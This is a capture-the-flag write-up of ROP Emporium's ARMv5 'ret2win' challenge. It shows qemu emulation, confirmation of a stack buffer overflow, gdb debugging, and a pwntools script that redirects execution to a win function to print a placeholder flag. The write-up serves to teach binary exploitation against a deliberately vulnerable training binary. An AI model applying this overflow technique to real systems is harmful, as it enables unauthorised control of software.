#arm #rop # ret2win ARM ## Triage ![](https://i.imgur.com/eigWHXw.png) Like the website says, these challenges are based on ROPing so NX will be enbaled on all of these ### Disassembly main function calls pwnme ![](https://i.imgur.com/YLhLdBI.png) pwnme ![](https://i.imgur.com/6qYmTaW.png) ## Emulation Because this binary is an ARM archetecture, to be able to run the binary we need to emulate it somehow. I will be using [qemu](https://www.qemu.org/), specifically qemu-arm\ Install require libraries `sudo apt-get install gcc-arm-linux-gnueabi libc6-armel-cross` Run the binary `qemu-arm -L /usr/arm-linux-gnueabi ./ret2win_armv5` ## Vulnerability In the pwnme function, 56 bytes are read into the user_input buff but the user_input buff is on the stack -0x28 (-40) bytes off from the return address. If we supply 40 bytes, the last 4 bytes will overflow the return address and we gain control of the program counter. Confirming the vulnerability: ```bash python -c 'print "A"*36+"BBBB"' | qemu-arm -strace -L /usr/arm-linux-gnueabi ./ret2win_armv5 ``` ```bash --- SIGSEGV {si_signo=SIGSEGV, si_code=1, si_addr=0x42424242} --- qemu: uncaught target signal 11 (Segmentation fault) - core dumped [1] 3253959 done python -c 'print "A"*36+"BBBB"' | 3253960 segmentation fault (core dumped) qemu-arm -strace -L /usr/arm-linux-gnueabihf ./ret2win_armv5 ``` ### GDB We can also use GDB instead of strace to confirm the vulnerability using: ``` python -c 'print "A"*36+"BBBB"' | qemu-arm -g 1234 -L /usr/arm-linux-gnueabi ./ret2win_armv5 ``` and in another terminal ```bash gdb-multiarch ./ret2win_armv5 ``` This will spawn a gdb terminal but is not connected to the gdbserver currently running at port 1234 The command below will connect to the gdbserver: `target remote 127.0.0.1:1234` Then using `continue` in GDB we can see where the crash is. ![](https://i.imgur.com/5P5OBcS.png) ## Exploit The binary contains a win function: ![](https://i.imgur.com/sspppyS.png) Setting the program counter to `0x105ec` will execute the win function pwntools is awesome and will do all the magic of calling qemu when it needs to. Just need to specify the library path like we did earlier, ### Script ```python from pwn import * context.binary = elf = ELF("./ret2win_armv5") payload = "A"*36 payload += p32(elf.sym['ret2win']) io = process("./ret2win_armv5",env={"QEMU_LD_PREFIX":"/usr/arm-linux-gnueabi"}) io.sendline(payload) io.interactive() ``` ### Result ```bash [*] '/home/chris/ctfs/ropemporium/ret2win/armv5/ret2win_armv5' Arch: arm-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x10000) [+] Starting local process './ret2win_armv5': pid 3275607 [*] Switching to interactive mode ret2win by ROP Emporium ARMv5 For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer! What could possibly go wrong? You there, may I have your input please? And don't worry about null bytes, we're using read()! > Thank you! Well done! Here's your flag: ROPE{a_placeholder_32byte_flag!} qemu: uncaught target signal 11 (Segmentation fault) - core dumped ```